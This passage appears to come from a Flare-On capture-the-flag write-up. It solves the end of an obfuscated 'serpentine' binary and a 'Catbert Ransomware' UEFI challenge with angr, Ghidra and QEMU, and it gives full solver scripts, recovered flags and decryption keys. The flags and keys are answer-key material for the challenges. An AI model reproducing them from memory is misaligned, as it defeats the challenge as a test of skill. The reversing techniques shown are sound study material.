0xc02e4e8c: mov rdi, qword ptr [rbp + 0xe0]
However, angr
prints a warning message twice at 0xc00001a7
and 0xc02e4e8c
, telling us the address we are trying to access is undefined. Looking at the disassembly, we are trying to retrieve a qword
from r9 + 0x28
, store it into rbp
, and then retrieve a qword
from rbp + 0xe0
. Since we used ZERO_FILL_UNCONSTRAINED_REGISTERS
option for the state, r9
would just be 0x0, and rbp
would be pointing to some weird place.
exception routine
Notice that, the new language-specific exception handler called by the unwinding handler has a protocol as well:
typedef EXCEPTION_DISPOSITION (*PEXCEPTION_ROUTINE) (
IN PEXCEPTION_RECORD ExceptionRecord,
IN ULONG64 EstablisherFrame,
IN OUT PCONTEXT ContextRecord,
IN OUT PDISPATCHER_CONTEXT DispatcherContext
);
The r9
would then refer to the fourth argument, per calling convention, which is a pointer to a DISPATCHER_CONTEXT
:
typedef struct _DISPATCHER_CONTEXT {
ULONG64 ControlPc;
ULONG64 ImageBase;
PRUNTIME_FUNCTION FunctionEntry;
ULONG64 EstablisherFrame;
ULONG64 TargetIp;
PCONTEXT ContextRecord;
PEXCEPTION_ROUTINE LanguageHandler;
PVOID HandlerData;
} DISPATCHER_CONTEXT, *PDISPATCHER_CONTEXT;
If we see the code, the offset 0x28
would be referring to the 6th field, which is the ContextRecord
. For the PCONTEXT
structure, the offset 0xe0
would then be referring to the register R13
.
We can add more code to angr script to simulate this behavior:
DISPATCHER_CTX_ADDR = state.heap.allocate(0x28+8)
CONTEXT_REC_ADDR = state.heap.allocate(0x100)
state.mem[DISPATCHER_CTX_ADDR + 0x28].uint64_t = CONTEXT_REC_ADDR
def inject_context(state):
for reg, i in pefile.registers:
state.mem[CONTEXT_REC_ADDR + 0x78 + i * 8].uint64_t = getattr(state.regs, reg)
state.regs.r9 = DISPATCHER_CTX_ADDR
And then call inject_context
in our custom HLT
handler. Run it again, and now we don’t see the previous two warning messages at 0xc00001a7
anymore. But, we got errored out in a new place:
0xc00007de: mov rdx, qword ptr [r9 + 0x28]
0xc00007e2: ldmxcsr dword ptr [rdx + 0x34]
What is at ContextPointer+0x34
? Turns out it’s a special register MxCsr
that has 32-bit. Here caused me a bit headache because I couldn’t find a way to access angr
state’s MxCsr
register at all (and I think it was not stored at all). In which case, I cooked up a custom hook to intercept all ldmxcsr
calls:
mxcsr = [0] # use slice for easier global access
def ldmxcsr_hook(state):
ins = state.block(
insn_bytes=load_bytes(state, state.inspect.instruction, 16),
num_inst=1,
).disassembly.insns[0]
if ins.mnemonic == 'ldmxcsr':
mxcsr[0] = state.inspect.mem_read_expr
state.inspect.b('mem_read', when=angr.BP_AFTER, action=ldmxcsr_hook)
def inject_context(state):
state.mem[CONTEXT_REC_ADDR + 0x34].uint32_t = mxcsr[0]
[...]
However, to use mem_read
breakpoint, we cannot use state.mem
to load at the same time, and we have to be careful when using state.memory.load
. So we have to change some of the previous code:
def load_bytes(state, addr, size):
bv = state.memory.load(addr, size, disable_actions=True, inspect=False)
[...]
def parse_unwind_info(state):
assert load_bytes(state, state.addr, 1)[0] == 0xf4 # HLT
offset = state.addr + 2 + load_bytes(state, state.addr + 1, 1)[0]
[...]
Seems we are all good? To carefully think about it, the register R13
that was stored in the ContextRecord
and retrieved in the second HLT
block, was never assigned in the first place!
Turns out we are missing a big piece of the puzzle.
unwind code
If we print out the UnwindInfo
that we parsed for each HLT
block:
[UNWIND_INFO]
0x0 0x0 Version: 0x1
0x0 0x0 Flags: 0x1
0x1 0x1 SizeOfProlog: 0x0
0x2 0x2 CountOfCodes: 0x0
0x3 0x3 FrameRegister: 0x0
0x3 0x3 FrameOffset: 0x0
0x4 0x4 ExceptionHandler: 0x98
Flags: UNW_FLAG_EHANDLER
Unwind codes:
[UNWIND_INFO]
0x0 0x0 Version: 0x1
0x0 0x0 Flags: 0x1
0x1 0x1 SizeOfProlog: 0x0
0x2 0x2 CountOfCodes: 0x5
0x3 0x3 FrameRegister: 0x0
0x3 0x3 FrameOffset: 0x0
0x10 0x10 ExceptionHandler: 0x1A7
Flags: UNW_FLAG_EHANDLER
Unwind codes: .PUSHFRAME; .ALLOCSTACK 0x4; .PUSHREG R13
We see that for the second time, the “Unwind codes” actually isn’t empty. Let’s see what’s actually going on.
According to the documentation, the unwind code records the operations done for each function during the function prologue. The documentation for each operation is written pretty clearly in the above “x64 exception handling” article, so I’m not going to repeat it here.
During the unwinding, the unwinding handler would look at these “unwind code”s and undo the changes they have done. For example PUSHREG R13
meaning R13
is pushed into the stack. That means when rewinding, the R13
register must be POP
'd from the stack.
The unwind code is undone in order and if the code running already passed the unwind code’s “prologue offset.” However, for this specific case, the offset is always 0, meaning we should undo all the unwind codes in the array.
Finally, we see that R13
register is actually assigned during the unwinding process. Then it is stored into the DispatcherContext->ContextRecord
for the next HLT
block to retrieve.
To automate this process, we also implement a helper function to help us undo the unwind code:
import archinfo
def load_int(state, addr, size):
return state.memory.load(addr, size, disable_actions=True, inspect=False, endness=archinfo.Endness.LE)
def undo_unwind_code(state, unwind_code):
for code in unwind_code:
if isinstance(code, pefile.PrologEpilogOpPushFrame):
if code.struct.OpInfo:
state.regs.rsp = load_int(state, state.regs.rsp + 0x20, 8)
else:
state.regs.rsp = load_int(state, state.regs.rsp + 0x18, 8)
elif isinstance(code, (pefile.PrologEpilogOpAllocSmall, pefile.PrologEpilogOpAllocLarge)):
state.regs.rsp += code.get_alloc_size()
elif isinstance(code, pefile.PrologEpilogOpPushReg):
setattr(state.regs, pefile.REGISTERS[code.struct.Reg].lower(), load_int(state, state.regs.rsp, 8))
state.regs.rsp -= 8
elif isinstance(code, pefile.PrologEpilogOpSetFP):
assert code._frame_offset == 0
state.regs.rsp = getattr(state.regs, pefile.REGISTERS[code._frame_register].lower())
else:
raise NotImplementedError(f'unknown code type {type(code)}')
[...]
if ins.mnemonic == 'hlt':
ui = parse_unwind_info(state)
rsp = state.regs.rsp
undo_unwind_code(state, ui.UnwindCodes)
inject_context(state)
state.regs.rsp = rsp
state.regs.rip = region + ui.ExceptionHandler
continue
Note that I only implemented the ones used in this binary, not the whole set. Also, since this process may change the RSP
, we need to back it up as well.
Finally let’s add the symbolic flags to the memory:
import claripy
flags = [claripy.BVS(f'flag{i}', 8) for i in range(32)]
for i in range(len(flags)):
state.mem[0x14089B8E8+i].uint8_t = flags[i]
Run it. Seems everything is fine, but it became slower and slower, especially getting stuck at instructions like this
0xc00047d8: mov al, byte ptr [r8]
Let’s find out the first occurrence of this type of instruction by filtering it:
import capstone
[...]
if ins.mnemonic == 'mov':
operands = ins.operands
if len(operands) == 2 and \
operands[0].type == capstone.CS_OP_REG and \
operands[0].size == 1 and \
operands[1].type == capstone.CS_OP_MEM and \
operands[1].size == 1 and \
operands[1].mem.base != capstone.x86.X86_REG_RIP and \
operands[1].mem.disp == 0:
print(ins)
We met with this instruction
0xc00006bc: mov sil, byte ptr [r14]
Now, if we print out the value at R14
:
<BV64 0x1400621c0 + (0x0 .. 140 * flag4_5_8)>
Basically, flag[4]
was multiplied by 140, and used as an index to access the memory region at 0x1400621c0
. Furthermore, we can confirm that the index is limited to one byte. This is a classical case of a substitution box, as we see in many cryptography algorithms.
The symbolic execution engine is famously known to be bad with symbolic indexing. Not only this, solving it would be extremely slow as well, since the process is non-linear, and it could easily become slower than even brute-forcing.
substitution box?
But let’s take a look at this table at 0x1400621c0
:
This table is full of 0s and 1s only! Furthermore, there’s only a single cutoff where it switched from 0 to 1.
So instead of a non-linear substitution box as we originally thought, this box can be turned into a linear constraints. In this specific case, the constraint is
claripy.If(flag[4] * 140 < 115, claripy.BVV(0, 8), claripy.BVV(1, 8))
Furthermore, we can automatically parse tables like this:
def find_cond(state, tbl, val):
assert val.length == 8
data = load_bytes(state, tbl, 256)
if len(set(data)) > 2 or data[0] != 0:
raise NotImplementedError(f'unknown table at {tbl}')
i = 0
while i < 256 and data[i] == 0:
i += 1
assert all(c == 1 for c in data[i:]) # remain all 1s
return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
In order to separate the table address from the symbolic index, let’s take a look at the symbolic expression evaluated at this point:
<BV64 0x1400621c0 + (0x0 .. 140 * flag4_5_8)>
We observe that first term is always the address, and the other term being the index, so we can write
arch = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
[...]
reg = arch.reg_name(operands[1].mem.base)
value = getattr(state.regs, reg)
if not value.concrete:
tbl = next(value.children_asts())
index = value - tbl
state.add_constraints(index >= 0, index < 0x100)
cond = find_cond(state, tbl, claripy.Extract(7, 0, index))
setattr(state.regs, arch.reg_name(operands[0].reg), cond)
state.regs.rip += ins.size
continue
It deals with the above case just fine. And if we add a print(cond)
, we see
<BV8 if 115 <= 140 * flag4_5_8 then 1 else 0>
which is exactly what we want. That being said, we immediately see a new pattern at 0x1400620c0
. Looking at the data, we see
So it seems to be a linear shift. For this case, it corresponds to
(index + 0x8d) & 0xff
Or simply, the first element in the table indicates the shift amount. Let’s add it to our condition list:
def find_cond(state, tbl, val):
assert val.length == 8
data = load_bytes(state, tbl, 256)
if len(set(data)) <= 2:
assert data[0] == 0, f'unknown table at {tbl}'
i = 0
while i < 256 and data[i] == 0:
i += 1
assert all(c == 1 for c in data[i:]) # remain all 1s
return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
for i in range(256):
assert (i + data[0]) & 0xff == data[i], f'unknown table at {tbl}'
return val + data[0]
And we see the output being
<BV8 141 + 140 * flag4_5_8>
Which is good. Another new pattern is at 0x140085ac0
So it’s basically the same as the first pattern, except for the value is switched. The fix is easy (copy-and-paste):
if len(set(data)) <= 2:
i = 0
if data[0] == 0:
while i < 256 and data[i] == 0:
i += 1
assert all(c == 1 for c in data[i:]) # remain all 1s
return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
elif data[0] == 1:
while i < 256 and data[i] == 1:
i += 1
assert all(c == 0 for c in data[i:]) # remain all 0s
return claripy.If(val < i, claripy.BVV(1, 8), claripy.BVV(0, 8))
assert False
The next different patterns is at 3e0c0
Huh… It’s not linear anymore? We see the numbers first go down one by one, and then jump up by 7, and then go down one by one, and then jump down by 9… However, if we view the array as uint64
:
We see that if we take the first element as the XOR key, then the array becomes:
0000000000000000h, 0808080808080808h, 1010101010101010h, 1818181818181818h
2020202020202020h, 2828282828282828h, 3030303030303030h, 3838383838383838h
[...]
So we see that each position is equal to XOR’ing the key and then XOR the block that it is in, times 8. The equivalent linear expression for this specific case would be
((0x3C3D3E3F38393A3B >> ((val & 0b111) << 3)) & 0xff) ^ ((val >> 3) << 3)
Although this is not perfectly linear, it is just a search on 16 bytes, which is much better than the search on 256 bytes.
Let’s modify our script once again to fit this pattern
if (data[1] - data[0]) & 0xff == 1:
for i in range(256):
if (i + data[0]) & 0xff != data[i]:
break
else:
return val + data[0]
xor_key = claripy.BVV(int.from_bytes(data[:8], 'little'), 64)
for i in range(256):
xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, (i & 0b111) << 3)).concrete_value
off_byte = (i >> 3) << 3
assert xor_byte ^ off_byte == data[i], f'unknown table at {tbl}'
xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, claripy.ZeroExt(64 - 8, val & 0b111) << 3))
off_byte = claripy.LShR(val, 3) << 3
return xor_byte ^ off_byte
After this, it seems we have exhausted all the patterns, and the script runs without problem.
final stretch
If we run the script, we see these instructions being printed at the end:
0xc0017a07: cmovne r12, r15
0xc0017a0b: jmp r12
0x1400011f0: mov qword ptr [rsp + 0x20], r9
0x1400011f5: mov qword ptr [rsp + 0x18], r8
We are out of the region and back into the normal functions! Let’s see what 0x1400011f0
does
Oh no, it’s wrong…
Let’s stop at 0xc0017a07
and print out both R12
and R15
to see what is happening.
>>> print(state.regs.r12)
<BV64 0xc0017a0e>
>>> print(state.regs.r15)
<BV64 0x1400011f0>
For cmovne
instruction, it will do the move only if the ZF
flag is 0. Here, we don’t want the move to happen because R15
contains the address to the fail function.
If we look at instructions executed, there is a TEST
instruction right before it that would change the ZF
flag
0xc00179fd: test r14, r14
Since TEST
is the same as AND
, and since the operand is the same, ZF
would only be set to 0 if R14
is not zero. Since we don’t want the move to happen, we need ZF
to be 1, meaning we want R14
to be 0.
If we try to print the content of R14
, the program would freeze. This tells us that R14
must contains a large symbolic expression.
I’m not quire sure why angr
didn’t branch into two active states at the JMP
, since the result of the TEST
should also be symbolic. In any case, let’s try to give it a hint:
if ins.mnemonic == 'test':
operands = ins.operands
assert len(operands) == 2 and \
operands[0].type == capstone.CS_OP_REG and \
operands[1].type == capstone.CS_OP_REG and \
operands[0].reg == operands[1].reg
reg = arch.reg_name(operands[0].reg)
value = getattr(state.regs, reg)
state.add_constraints(value == 0)
But after we add this code, angr
straight up gives us UNSAT. It’s time to debug the code.
The best way to check if our implementation is correct, is by comparing it with the standard program. We can do this by using a fixed input but with one unknown.
At the beginning of the script, we can use a fixed input with the 4th place being symbolic, since we know it is used in the process:
flags = list(b'ABCDEFGHIJKLMNOPQRSTUVWXYZ123456')
flags[4] = claripy.BVS('flag4', 8)
Using x64dbg
, let’s set the same input:
We can first set a breakpoint at 1649
to obtain the allocated region address. Then we can add 179fd
to find the breakpoint for TEST
. Note that it’s also the best to ignore the C0000096
exception so you can directly run to the breakpoint:
The standard program gives us this value at TEST
for the fixed input:
Now in the script, when we run to the same instruction, we add a constraint that equals to this :
state.add_constraints(flags[4] == ord('E'))
And we solve for the R14
value:
>>> hex(state.solver.eval(value))
'0xff02000a91e7aa'
Huh, where did the 0xff020
came from? I spent a lot of time debugging, and couldn’t figure it out if it’s my code error or if it’s angr
’s bug.
In the end, I just decided to add a 0xFFFFFFFF
to the value.
state.add_constraints(value & 0xFFFFFFFF == 0)
Now run the script, finally the angr
gives us a branch into two states:
To continue the execution, we can either get rid of the failure state (going to 11f0
), or just do what I did:
if ins.mnemonic == 'cmovne':
state.regs.rip += ins.size
Which means we simply don’t execute the conditional move. This allows us to always go to the next stage.
One more optimization before executing the script is to not add constraints to the state directly, because it would slow down the execution. Instead, we can just add it to a list and solve it at the end:
conditions = []
while True:
[...]
conditions.append(value & 0xFFFFFFFF == 0)
state.add_constraints(*conditions)
We also need to have an termination condition. Looking into the strings, it seems that 11b0
is the function to call when correct
So we can just set the condition:
while state.addr != 0x1400011b0:
Finally everything’s ready. The final script looks like this:
import angr
import pefile
import claripy
import archinfo
import capstone
arch = capstone.Cs(capstone.CS_ARCH_X86, capstone.CS_MODE_64)
proj = angr.Project('serpentine.exe')
state = proj.factory.blank_state(add_options={angr.options.SYMBOL_FILL_UNCONSTRAINED_REGISTERS})
region = state.heap.allocate(0x800000)
state.memory.store(region, state.memory.load(0x140097af0, 0x800000))
state = proj.factory.call_state(region, base_state=state)
simgr = proj.factory.simulation_manager(state)
flags = [claripy.BVS(f'flag{i}', 8) for i in range(32)]
for i in range(len(flags)):
state.mem[0x14089B8E8+i].uint8_t = flags[i]
def load_bytes(state, addr, size):
bv = state.memory.load(addr, size, disable_actions=True, inspect=False)
assert bv.concrete
return state.solver.eval(bv, cast_to=bytes)
def parse_unwind_info(state):
assert load_bytes(state, state.addr, 1)[0] == 0xf4 # HLT
offset = state.addr + 2 + load_bytes(state, state.addr + 1, 1)[0]
offset += (offset & 1) != 0
ui = pefile.UnwindInfo()
assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
assert ui.unpack_in_stages(load_bytes(state, offset, ui.sizeof())) is None
return ui
def load_int(state, addr, size):
return state.memory.load(addr, size, disable_actions=True, inspect=False, endness=archinfo.Endness.LE)
def undo_unwind_code(state, unwind_code):
for code in unwind_code:
if isinstance(code, pefile.PrologEpilogOpPushFrame):
if code.struct.OpInfo:
state.regs.rsp = load_int(state, state.regs.rsp + 0x20, 8)
else:
state.regs.rsp = load_int(state, state.regs.rsp + 0x18, 8)
elif isinstance(code, (pefile.PrologEpilogOpAllocSmall, pefile.PrologEpilogOpAllocLarge)):
state.regs.rsp += code.get_alloc_size()
elif isinstance(code, pefile.PrologEpilogOpPushReg):
setattr(state.regs, pefile.REGISTERS[code.struct.Reg].lower(), load_int(state, state.regs.rsp, 8))
state.regs.rsp -= 8
elif isinstance(code, pefile.PrologEpilogOpSetFP):
assert code._frame_offset == 0
state.regs.rsp = getattr(state.regs, pefile.REGISTERS[code._frame_register].lower())
else:
raise NotImplementedError(f'unknown code type {type(code)}')
DISPATCHER_CTX_ADDR = state.heap.allocate(0x28+8)
CONTEXT_REC_ADDR = state.heap.allocate(0x100)
state.mem[DISPATCHER_CTX_ADDR + 0x28].uint64_t = CONTEXT_REC_ADDR
def inject_context(state):
state.mem[CONTEXT_REC_ADDR + 0x34].uint32_t = mxcsr[0]
for reg, i in pefile.registers:
state.mem[CONTEXT_REC_ADDR + 0x78 + i * 8].uint64_t = getattr(state.regs, reg.lower())
state.regs.r9 = DISPATCHER_CTX_ADDR
mxcsr = [0]
def ldmxcsr_hook(state):
ins = state.block(
insn_bytes=load_bytes(state, state.inspect.instruction, 16),
num_inst=1,
).disassembly.insns[0]
if ins.mnemonic == 'ldmxcsr':
mxcsr[0] = state.inspect.mem_read_expr
def find_cond(state, tbl, val):
assert val.length == 8
data = load_bytes(state, tbl, 256)
if len(set(data)) <= 2:
i = 0
if data[0] == 0:
while i < 256 and data[i] == 0:
i += 1
assert all(c == 1 for c in data[i:]) # remain all 1s
return claripy.If(val < i, claripy.BVV(0, 8), claripy.BVV(1, 8))
elif data[0] == 1:
while i < 256 and data[i] == 1:
i += 1
assert all(c == 0 for c in data[i:]) # remain all 0s
return claripy.If(val < i, claripy.BVV(1, 8), claripy.BVV(0, 8))
assert False
if (data[1] - data[0]) & 0xff == 1:
for i in range(256):
if (i + data[0]) & 0xff != data[i]:
break
else:
return val + data[0]
xor_key = claripy.BVV(int.from_bytes(data[:8], 'little'), 64)
for i in range(256):
xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, (i & 0b111) << 3)).concrete_value
off_byte = (i >> 3) << 3
assert xor_byte ^ off_byte == data[i], f'unknown table at {tbl}'
xor_byte = claripy.Extract(7, 0, claripy.LShR(xor_key, claripy.ZeroExt(64 - 8, val & 0b111) << 3))
off_byte = claripy.LShR(val, 3) << 3
return xor_byte ^ off_byte
state.inspect.b('mem_read', when=angr.BP_AFTER, action=ldmxcsr_hook)
conditions = []
while state.addr != 0x1400011b0:
assert len(simgr.active) == 1
state = simgr.active[0]
ins = state.block(
insn_bytes=load_bytes(state, state.addr, 16),
num_inst=1,
).disassembly.insns[0]
if ins.mnemonic == 'test':
operands = ins.operands
assert len(operands) == 2 and \
operands[0].type == capstone.CS_OP_REG and \
operands[1].type == capstone.CS_OP_REG and \
operands[0].reg == operands[1].reg
reg = arch.reg_name(operands[0].reg)
value = getattr(state.regs, reg)
conditions.append(value & 0xFFFFFFFF == 0)
if ins.mnemonic == 'cmovne':
state.regs.rip += ins.size
if ins.mnemonic == 'hlt':
ui = parse_unwind_info(state)
rsp = state.regs.rsp
undo_unwind_code(state, ui.UnwindCodes)
inject_context(state)
state.regs.rsp = rsp
state.regs.rip = region + ui.ExceptionHandler
continue
if ins.mnemonic == 'mov':
operands = ins.operands
if len(operands) == 2 and \
operands[0].type == capstone.CS_OP_REG and \
operands[0].size == 1 and \
operands[1].type == capstone.CS_OP_MEM and \
operands[1].size == 1 and \
operands[1].mem.base != capstone.x86.X86_REG_RIP and \
operands[1].mem.disp == 0:
reg = arch.reg_name(operands[1].mem.base)
value = getattr(state.regs, reg)
if not value.concrete:
tbl = next(value.children_asts())
index = value - tbl
state.add_constraints(index >= 0, index < 0x100)
cond = find_cond(state, tbl, claripy.Extract(7, 0, index))
setattr(state.regs, arch.reg_name(operands[0].reg), cond)
state.regs.rip += ins.size
continue
simgr.step(num_inst=1)
state.add_constraints(*conditions)
print(state.solver.eval(claripy.Concat(*flags), cast_to=bytes))
After waiting for about two hours (so long…), we get the flag:
$$_4lway5_k3ep_mov1ng_and_m0ving
10 - Catbert Ransomware
We are given a disk image and a bios. Using QEMU we can boot it up:
qemu-system-x86_64 -drive file=disk.img,format=raw -bios bios.bin
Using help
, we can get some commands available
Also we can list files in the disk:
Notice that the decrypt_file
command explains that it would decrypt c4tb
files from a mounted storage, given a decryption key. If we list the help specific for this command
We see that it takes the c4tb
file path as the first argument, and the key as the second. If we just use some random key:
We get this. Clearly, we need to reverse this command.
However, we couldn’t find any of the strings in bios.bin
. That means there must be some decryption going on. A quick way to avoid reversing that is to directly dump the memory.
To do that, let’s run QEMU in monitor mode:
qemu-system-x86_64 -drive file=disk.img,format=raw -bios bios.bin -m 64m -monitor stdio
Notice that I also set the memory to 64M, so that the memory dumped is small enough to be analyzed.
After the VM started, execute this command to dump the entire memory into dump.bin
(qemu) dump-guest-memory dump.bin
Then, let’s binwalk
on the dumped file:
We see a lot of PE executables. Since we are looking for the decrypt_file
, let’s search for the strings “Successfully read” inside it:
Notice that when you do the search, make sure to use UTF-16 encoding, since this is a PE executable.
Correspond to the above binwalk
result, I located 3 PE executables that may be related. One located at 0xE6CCE4
, one at 0x1C8E5B0
and the other at 0x1F745E4
. Note that your offset may vary.
reverse
After dumping them and opening up them in Ghidra, it turns out they are similar binaries. The only difference is that the one at 0x1C8E5B0
has some of the memory values already filled in (potentially the one that’s loaded into memory). So let’s start reversing this one.
First, let’s find where the string is located at. Using Ghidra’s String Search function
The first one is what we want. And looking for the cross-reference to this string
leads us to function 1ccfbc4
.
it’s always more interesting to look at the string constants. For example, for this block
We can guess that 1cb5cc0
is probably some kind of FileExists
call, and 1d86558
is probably a string to the file name. Clicking into 1cb5cc0
we see
Which doesn’t look like anything at first. But if you see the data at 1d0a160
It’s actually a debug string. Ghidra didn’t do a good job of recovering the types, but if we click into 1cb0fd4
We see another string ASSERT %a(%Lu): %a\n
. Searching this string online gives interesting results:
Nice, so we know the source code of this function now. And if we manually fill the signature into Ghidra, we get some nice debug information that helps us find the source code.
It seems that this library https://github.com/tianocore/edk2 is used. Furthermore, if we go to the same file and locate the line, we found
Which is exactly the same as the function we are looking at. Using the same methods, we can recover some other functions. Then by guessing, we should be able to reliably recover most of them
For function 1cb1050
, I noticed it always passes either size
related stuff into it, or a constant, so I assume it is some kind of allocation function.
There are quite a lot of dynamic calls still. But during my reversing process they don’t seem to matter that much, so I didn’t look into them. Plus, dynamically debugging this would probably be very painful.
For the next part, the code first allocates a space of size 0x20. This space is then used to store various fields, so it’s clear it’s a struct. Using Ghidra’s “Auto Create Structure,” we can get the fields listed out.
The logic reads like this:
- The beginning
uint32
of the file should be a magic number0x32543443
. If not, theif
branch is entered and program is exited. - Otherwise, the next three
uint32
is copied from the binary and stored into the struct. - A buffer of size
field1
is allocated, and the data is copied from the file to the buffer of that size, following the header (4uint32
) - A buffer of size
field3
is allocated, and the data is copied from the file withfield2
as the offset, andfield3
as the size. - The allocated buffers are also stored into the structure, following the sizes.
With this information, we can guess the struct is something like this:
struct ParsedC4tb {
uint32_t magic;
uint32_t data1_size;
uint32_t data2_offset;
uint32_t data2_size;
uint8_t *data2;
uint8_t *data1;
};
Let’s continue reading
We see that a StrLen
is called on 1d86560
, and if the length is not 0x10, function 1ccfb14
would be called
Which is what we saw. So it’s fairly clear that 1d86560
is the input key.
The data2
is copied into a newly allocated buffer, and then the input key is copied into some slots of the buffer.
I have a bad feeling that a VM is coming.
virtual machine
Looking at the function 1ccf274
, which is called right after the copying of the input key, we see this:
At the beginning, the location 1d866c0
stores the same Data2Copy
that we just saw. Then we enter a loop, where 1d866c0
is indexed and increased by 1.
Yep, this is a VM implementation with custom opcodes. 1d866c0
is probably the PC, and the other global values are probably stack pointers.
Notice that immediately after calling this function, there’s a if
statement checking the value inside 1e06ed0
And 1e06ed0
is only written inside 1ccf274
, according to the cross-reference:
So we can guess that this is the result of the VM code. Furthermore, we need it to be 0 at the end.
Basically, the .c4tb
file contains the encrypted file (probably data1
), and a custom VM code to check the key (data2
). If the VM has non-0 return value, the check passes.
Honestly, this sounds too much like the job for angr
, and I don’t really want to write the custom parser yet, so let’s YOLO it with angr
.
import angr
import claripy
with open('catmeme1.jpg.c4tb', 'rb') as f:
f.read(8)
offset = int.from_bytes(f.read(4), 'little')
size = int.from_bytes(f.read(4), 'little')
f.seek(offset, 0)
data = list(f.read(size))
key = [claripy.BVS(f'k{i}', 8) for i in range(16)]
data[5] = key[0]
data[4] = key[1]
data[12] = key[2]
data[11] = key[3]
data[19] = key[4]
data[18] = key[5]
data[26] = key[6]
data[25] = key[7]
data[33] = key[8]
data[32] = key[9]
data[40] = key[10]
data[39] = key[11]
data[47] = key[12]
data[46] = key[13]
data[54] = key[14]
data[53] = key[15]
RET_ADDR = 0x1ccf91e
STATUS_ADDR = 0x1e06ed0
FUN_ENTRY_ADDR = 0x1CCF285
DATA_PTR_ADDR = 0x1D865A8
proj = angr.Project('dec1.com')
state = proj.factory.call_state(FUN_ENTRY_ADDR)
data_sec = state.heap.allocate(size)
for i in range(size):
state.mem[data_sec + i].uint8_t = data[i]
state.mem[DATA_PTR_ADDR].uint64_t = data_sec
simgr = proj.factory.simulation_manager(state)
def found(state):
if state.addr == RET_ADDR:
status = state.memory.load(STATUS_ADDR, 8)
state.add_constraints(status != 0)
return state.solver.satisfiable()
simgr.explore(find=found, avoid=RET_ADDR)
assert len(simgr.found) == 1
state = simgr.found[0]
print(bytes((state.solver.eval(k) for k in key)))
The catmeme1.jpg.c4tb
file can be extracted from the disk.img
by directly mounting it
mkdir mnt
sudo mount disk.img mnt
After running for about 3 minutes, we get our solution DaCubicleLife101
. I love angr
.
Using the decrypt_file
command, we can successfully decrypt the file:
Which gives us this image:
Switch the input to catmeme2.jpg.c4tb
. We also get the key using the same script quite fast, it’s G3tDaJ0bD0neM4te
. The file decrypts to this image:
Nice, now let’s try catmeme3.jpg.c4tb
…
After 15 minutes or something, angr
throws an error and exited:
guessing game
OK, let’s take a step back and see if we have any progress at all. We add these code to print out the solutions given current constraints:
for act in simgr.active:
if act != state:
print(act.solver.eval(claripy.Concat(*key), cast_to=bytes))
Doesn’t seem to be anything interesting. Let’s add more constraints that limits the key to only alpha-numericals:
for k in key:
state.add_constraints(claripy.Or(
claripy.And(k >= 48, k <= 57),
claripy.And(k >= 65, k <= 90),
claripy.And(k >= 97, k <= 122),
))
Huh, I think I see DumB
in there. Let’s see what other answers can we get:
print(act.solver.eval_upto(claripy.Concat(*key), n=10, cast_to=bytes))
I think VerYDumB
looks very much like the first part of the key. So let’s fix it as constant:
key[0:8] = b'VerYDumB'
the latter part however, still doesn’t show anything interesting. And after waiting for a long time, the same error is thrown.
Searching for documentation, it seems the error is thrown because it reached the internal timeout. We can manually increase it to a very high number:
state.solver._solver.timeout = 0xFFFFFFFF
Now it’s the waiting game. During this time I actually tried to write that one-time custom VM disassembler, just like any other reversing challenge. I got a working edition and even transpiled it into C so I can use decompiler to look into it.
Anyway, after 1 hour or maybe more, I came back to look at it, and it is solved.
The final script looks like this:
import angr
import claripy
with open("catmeme3.jpg.c4tb", "rb") as f:
f.read(8)
offset = int.from_bytes(f.read(4), 'little')
size = int.from_bytes(f.read(4), 'little')
f.seek(offset, 0)
data = list(f.read(size))
key = [claripy.BVS(f'k{i}', 8) for i in range(16)]
key[0:8] = b'VerYDumB'
data[5] = key[0]
data[4] = key[1]
data[12] = key[2]
data[11] = key[3]
data[19] = key[4]
data[18] = key[5]
data[26] = key[6]
data[25] = key[7]
data[33] = key[8]
data[32] = key[9]
data[40] = key[10]
data[39] = key[11]
data[47] = key[12]
data[46] = key[13]
data[54] = key[14]
data[53] = key[15]
RET_ADDR = 0x1ccf91e
STATUS_ADDR = 0x1e06ed0
FUN_ENTRY_ADDR = 0x1CCF285
DATA_PTR_ADDR = 0x1D865A8
proj = angr.Project('dec1.com')
state = proj.factory.call_state(FUN_ENTRY_ADDR)
state.solver._solver.timeout = 0xFFFFFFFF
data_sec = state.heap.allocate(size)
for i in range(size):
state.mem[data_sec + i].uint8_t = data[i]
state.mem[DATA_PTR_ADDR].uint64_t = data_sec
for k in key:
state.add_constraints(claripy.Or(
claripy.And(k >= 48, k <= 57),
claripy.And(k >= 65, k <= 90),
claripy.And(k >= 97, k <= 122),
))
simgr = proj.factory.simulation_manager(state)
def found(state):
if state.addr == RET_ADDR:
status = state.memory.load(STATUS_ADDR, 8)
state.add_constraints(status != 0)
return state.solver.satisfiable()
simgr.explore(find=found, avoid=RET_ADDR)
assert len(simgr.found) == 1
state = simgr.found[0]
print(state.solver.eval_upto(claripy.Concat(*key), n=10, cast_to=bytes))
cat meme
We decrypt the third file using the password we just got:
and the file decrypts to this image:
Notice that another file is also decrypted to Dilboot.efi
. The message tells us not to run it, but how about let’s run it:
Oh, a new .c4tb
file. This time the password is directly given to us, so let’s decrypt it
which gives us this image:
Combining all parts together, including the texts printed out when decrypting your_mind.jpg.c4tb
, we get
th3_ro4d_t0_succ3ss_1s_alw4ys_und3r_c0nstructio0n@flare-on.com
Thank you for reading. See you next year 😀